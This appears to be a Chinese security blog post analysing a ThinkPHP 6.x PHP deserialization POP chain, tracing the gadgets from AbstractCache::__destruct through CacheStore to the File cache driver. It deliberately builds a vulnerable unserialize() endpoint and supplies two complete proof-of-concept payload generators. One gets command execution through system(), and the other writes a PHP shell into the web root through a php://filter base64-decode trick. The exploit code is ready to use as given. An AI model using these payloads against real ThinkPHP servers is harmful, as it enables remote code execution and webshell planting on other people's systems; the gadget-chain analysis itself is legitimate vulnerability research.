pop链 php,ThinkPHP 6.x反序列化POP链(二)

环境准备

安装ThinkPHP 6.0

composer create-project topthink/think=6.0.x-dev v6.0

修改application/index/controller/Index.phpIndex类的代码

class Index

{

public function index()

{

$payload = unserialize(base64_decode($_GET['payload']));

return 'ThinkPHP V6.x';

}

}

开启ThinkPHP6调试

将根目录.example.env更改为.env,文件中添加:APP_DEBUG = true

POP链分析

__destruct()

依旧是全局搜索__destruct(),我们查看在/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php中的__destruct

65deb5a09db1ef26100d4fc4bde14eee.png

使 $this->autosave = false 可以触发 $this->save()

CacheStore

AbstractCache是一个抽象类,我们使用find usages寻找继承它的类

f10e06b74969ec667f6ba31638d1303b.png

在/vendor/topthink/framework/src/think/filesystem/CacheStore.php中的CacheStore类继承了AbstractCache类,并实现了 save() 方法

859411207a80d9430151cccd5891bb31.png

save() 方法中涉及 getForStorage() 方法,我们跟进此方法

getForStorage()

回到AbstractCache.php中我们找到了 getForStorage() 方法,继续跟进 cleanContents()

d56a56a67ceb1ab5fec172875ad2d91e.png

cleanContents()

array_flip对数组反转,array_intersect_key取数组交集

1eaab80a754e27f705eafc77130e01ae.png

然后函数会将 $contents 返回给 getForStorage() 中的 $cleaned ,经过 json_encode 后返回给前面的 save() 方法

e5ded6c57accfec53d9dbe070089dde9.png

$contents 变量接收函数返回值后,进入下面了逻辑,此时$this->store是可控的,我们可以调用任意类的set方法,如果这个指定的类不存在set方法,就有可能触发__call()。当然也有可能本身的set()方法就可以利用。

Notice:在对象中调用一个不可访问方法时,__call()会被调用。有关 __call() 方法的详细说明,参见php手册https://www.php.net/manual/zh/language.oop5.overloading.php#object.call

set()

3d0face8106014e2b60c8d577b4946dc.png

我们利用在File类中的 set() 方法

6fcc52e0bd446644d0a18b33deb15eee.png

serialize()方法

此处有两种利用方法,我们先分析利用 serialize() 方法的POP链

6f7c65f8c747f4b60f4cea4f13fb6e1a.png

$this->options\['serialize'][0]可控,可以执行任意函数,参数为$data

我们从set()方法中可知,$data 来源于 $value 的传值,在继续从CacheStore 中可知 $value 来源于 $contents ,

即json_encode后的数据,由此我们需要使json_encode后的数据被当作代码执行。

此时需要注意一个问题

42ebc2dea93dd481ec2888df9ca16964.png

我们发现由于 json_encode 的缘故,命令被方括号包裹导致无法正常执行。在Linux环境中我们可以使用 `command` 这样的形式使被包裹的command优先执行,我们可以构造如下payload

f1d700446dd765b763d28c84840cf30e.png

报错信息中包含命令执行结果

POC

namespace League\Flysystem\Cached\Storage{

abstract class AbstractCache

{

protected $autosave = false;

protected $complete = "`id`";

// protected $complete = "\"&whoami&" ;

// 在Windows环境中反引号无效,用&替代

}

}

namespace think\filesystem{

use League\Flysystem\Cached\Storage\AbstractCache;

class CacheStore extends AbstractCache

{

protected $key = "1";

protected $store;

public function __construct($store="")

{

$this->store = $store;

}

}

}

namespace think\cache{

abstract class Driver

{

protected $options = ["serialize"=>["system"],"expire"=>1,"prefix"=>"1","hash_type"=>"sha256","cache_subdir"=>"1","path"=>"1"];

}

}

namespace think\cache\driver{

use think\cache\Driver;

class File extends Driver{}

}

namespace{

$file = new think\cache\driver\File();

$cache = new think\filesystem\CacheStore($file);

echo base64_encode(serialize($cache));

}

?>file_put_contents()写文件

575a15f3b5c5b5074786fd6ff53c2f63.png

第179行可以看到 file_put_contents() 有两个参数 $filename、$data ,向上查找这两个变量从何而来

$data:前面分析已知来源于$this->serialize,此处存在 exit() ,我们可以使用 php://filter来避免。

$filename:

258c43bdc90cb4a33743ade30e1b75dc.png

此函数的返回值是带有文件名的文件路径

第67行

$name = hash($this->options['hash_type'], $name);

$name 为文件名,来源于$this->key,可控,$this->options['hash_type']也可控。最终文件名是经过hash后的,所以最终文件名可控(本文演示POC中$key = "1",$this->options['hash_type'] = 'md5',所以最终文件名为1的md5值)。

$this->options['path'] 使用php filter构造 php://filter/write=convert.base64-decode/resource=think/public/ 指向tp6根目录

最终拼接后的$filename 为

php://filter/write=convert.base64-decode/resource=think/public/name.php

此外,为了确保php伪协议进行base64解码之后我们的shell不受影响,所以要计算解码前的字符数。

假设传入的$expire=1,那么shell前面部分在拼接之后能够被解码的有效字符为:php//000000000001exit共有21个,要满足base64解码的4字符为1组的规则,在其前面补上3个字符用于逃逸之后的base64解码的影响。

POC

namespace League\Flysystem\Cached\Storage{

abstract class AbstractCache

{

protected $autosave = false;

protected $complete = "uuuPD9waHAgcGhwaW5mbygpOw==";

//文件内容是phpinfo(); uuu为在其前面随意填充的三个字符

}

}

namespace think\filesystem{

use League\Flysystem\Cached\Storage\AbstractCache;

class CacheStore extends AbstractCache

{

protected $key = "1";

protected $store;

public function __construct($store="")

{

$this->store = $store;

}

}

}

namespace think\cache{

abstract class Driver

{

protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>false,"hash_type"=>"md5","cache_subdir"=>false,"path"=>"php://filter/write=convert.base64-decode/resource=think/public/","data_compress"=>0];

}

}

// 路径最好写成绝对路径

namespace think\cache\driver{

use think\cache\Driver;

class File extends Driver{}

}

namespace{

$file = new think\cache\driver\File();

$cache = new think\filesystem\CacheStore($file);

echo base64_encode(serialize($cache));

}

?>

ea5e2dc156654d4a38767bb83fc87e76.png

60df9114dfdd45bfc871223eb0f2e988.png

使用此方法需注意路径是否可写以可执行等权限问题

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值